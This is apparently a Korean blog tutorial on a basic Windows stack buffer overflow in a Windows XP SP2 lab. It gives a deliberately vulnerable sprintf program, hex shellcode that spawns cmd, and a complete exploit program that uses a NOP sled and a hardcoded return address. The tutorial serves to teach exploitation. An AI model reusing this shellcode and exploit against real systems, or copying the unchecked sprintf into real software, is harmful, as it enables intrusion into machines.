windows bof [쉘 코드 만들기]에서 만든 쉘 코드를 이용해서 간단한 stack bof를 해보겠습니다.
실습환경은 이전처럼 Windows XP(Service Pack 2), Visual 6.0입니다.
먼저 bof에 취약한 프로그램을 만듭니다.
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
char buf[100];
if( argc < 2)
{
printf("%s string\n", argv[0]);
exit(1);
}
printf("\nbuf : 0x%x\n", buf);
sprintf(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
sprintf로 인해서 bof취약점이 존재하게 만들었습니다. 그리고 나중에 리턴할 주소를 쉽게 알기 위해서 buf의 주소를 출력해줍니다.
아래와 같이 실행됩니다. buf의 주소도 출력해주고 있죠. (buf의 주소 : 0x12ff1c)
이번에는 인자로aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc를 넣어주었습니다.
overflow되어서 아래처럼 뜹니다.
buf[100] <- 'a'x100
SFP <- 'b'x4
ret주소 <- 'c'x4 이렇게 들어가겠죠.
디버그를 눌러서 확인해보면 (visual 6에서의 디버그 입니다.)
예상대로 EBP에는 'b'(0x62)가 EIP에는 'c'(0x63)가 들어가 있습니다. 따라서 우리가 원하는 주소로 리턴할 있음을 확인할 수 있습니다.
이제 buf[100]영역에 nop + shellcode를 넣어서 공격해 보겠습니다.
쉘 코드는 windows bof [쉘 코드 만들기]에서 만들었던 cmd를 띄우는 쉘 코드를 사용하겠습니다.
"\x68\x63\x6d\x64\x01"
"\x36\x80\x44\x24\x03\x1f"
"\x54"
"\x68\xea\xcd\x71\x7c"
"\x36\x80\x44\x24\x02\x10"
"\x68\x7d\x15\x76\x7c"
"\x36\x80\x44\x24\x02\x10"
"\x36\x80\x04\x24\x10"
"\xc3"
공격은 hex값을 쉽게 넣어 주기위해 execl를 사용하는 공격 프로그램을 만들어서 exploit 하겠습니다.
#include <windows.h>
#include <stdio.h>
#include <process.h>
char shellcode[] = "\x68\x63\x6d\x64\x01"
"\x36\x80\x44\x24\x03\x1f"
"\x54"
"\x68\xea\xcd\x71\x7c"
"\x36\x80\x44\x24\x02\x10"
"\x68\x7d\x15\x76\x7c"
"\x36\x80\x44\x24\x02\x10"
"\x36\x80\x04\x24\x10"
"\xc3";
void main(int argc, char *argv[])
{
char buffer[120];
int ebp = atoi(argv[1]); //sfp의 위치를 받아옵니다.
memset(buffer, 0x90, sizeof(buffer));
memcpy(buffer+25, shellcode, strlen(shellcode)); //nopx25 + shellcode
*(long *)&buffer[ebp] = 0x41424344; //sfp
*(long *)&buffer[ebp+4] = 0x0012ff1c; //ret주소
execl("vuln", "vuln", buffer, 0);
}
buf의 크기가 100이므로 100을 인자로 줍니다.
nop + 쉘 코드가 있는 곳으로 정상적으로 리턴되어서 cmd가 실행되네요.
이것으로 기본적인 windows bof를 마치겠습니다.~
* reference
'System > Windows' 카테고리의 다른 글
pydbg로 Fuzzer 만들기 (0) | 2014.04.27 |
---|---|
Windows에서의 스택 할당 (0) | 2013.12.28 |
FileFuzz, Peach Fuzzer 링크 (0) | 2013.11.12 |
메모리 보호 기법 DEP/NX (1) | 2012.09.05 |
windows bof [쉘 코드 만들기] (0) | 2012.04.08 |